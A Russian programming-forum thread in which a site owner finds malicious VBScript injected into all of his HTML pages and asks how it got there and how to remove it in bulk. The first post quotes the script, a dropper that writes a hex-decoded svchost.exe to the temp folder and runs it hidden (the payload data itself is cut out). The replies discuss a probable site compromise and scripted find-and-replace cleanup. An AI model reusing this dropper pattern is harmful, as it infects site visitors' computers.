Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Программная инженерия > Безопасность, Шифрование
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 01.12.2012, 13:58   #1
Dkey
Пользователь
 
Регистрация: 30.06.2012
Сообщений: 19
По умолчанию Вредоносный код во все HTML страницы

Здравствуйте, обнаружил, что во все html страницы моего сайта был в конец добавлен вредоносный код(VBScript).
Привожу его:
Код:
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "Здесь код был, удалил слишком длинный не вмещался в пост"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
У меня 7590 файлов html, править их вручную это
Можно написать программку которая открывала бы все файлы html через цикл, искала этот текст и делала replace на " ", думаю будет быстрее и легче.
Но у меня есть вопросы:
Как вредоносный код попал на все страницы?
И если какая нибудь прога которая мне поможет быстро исправить их все?
Спасибо заранее, думаю поможете!
Dkey вне форума Ответить с цитированием
Старый 01.12.2012, 20:41   #2
Вадим Мошев

Старожил
 
Аватар для Вадим Мошев
 
Регистрация: 12.11.2010
Сообщений: 8,568
По умолчанию

Цитата:
Как вредоносный код попал на все страницы?
Вероятно, взломали сайт, автоматизированным образом внедрили этот код на сайт.

Цитата:
И если какая нибудь прога которая мне поможет быстро исправить их все?
Думаю, что задача специфическая, наверное, придётся самому писать эту программу. Здесь надо мыслить в сторону регулярных выражений.
Можете обратиться в раздел фриланс, где за оплату вам помогут.

Кстати, если это не сайт, то прошу прощения. Но если сайт... то вопрос, у вас сайт состоит из 7590 файлов html?!
Вадим Мошев вне форума Ответить с цитированием
Старый 06.12.2012, 08:36   #3
Brot
 
Регистрация: 16.10.2012
Сообщений: 7
По умолчанию

как вариант скачать по фтп весь сайт, сделать замену, а потом обратно закачать
Brot вне форума Ответить с цитированием
Старый 06.12.2012, 08:50   #4
Smitt&Wesson
Старожил
 
Аватар для Smitt&Wesson
 
Регистрация: 31.05.2010
Сообщений: 13,543
По умолчанию

Есть несколько вопосов:
1. Есть-ли доступ по FTP?
2. Какая глубина вложенности каталогов?
3. Сколько их на сайте?
4. Хостинг платный или бесплатный.

Задачку можно решить, как минимум, двумя способами. При помощи PHP или программкой написанной на каком нибудь из языков высокого уровня С++, Паскаль, Borland, Delphi. Могу взяться за решение. Контакты внизу.
Пиши пьяным, редактируй трезвым.
Справочник по алгоритмам С++ Builder
Smitt&Wesson вне форума Ответить с цитированием
Старый 08.12.2012, 12:59   #5
Artem_Kokos
Форумчанин
 
Регистрация: 28.02.2011
Сообщений: 122
По умолчанию

Извлекаю урок - хорошо бы хранить копию сайта на харде для использования в таких случаях.
Повторенье - мать ученья. И прибежище для лентяев.
Artem_Kokos вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Получить html-код страницы! $T@LKER C# (си шарп) 5 14.04.2011 16:51
получить html код страницы aferistz Помощь студентам 3 23.02.2010 12:32
Как вставить html во все страницы проекта? Oliany HTML и CSS 8 26.05.2008 14:12
Получить HTML код страницы в Delphi Job Работа с сетью в Delphi 3 15.08.2007 11:29
Нужно получить html код страницы NEOkill Работа с сетью в Delphi 2 01.03.2007 16:49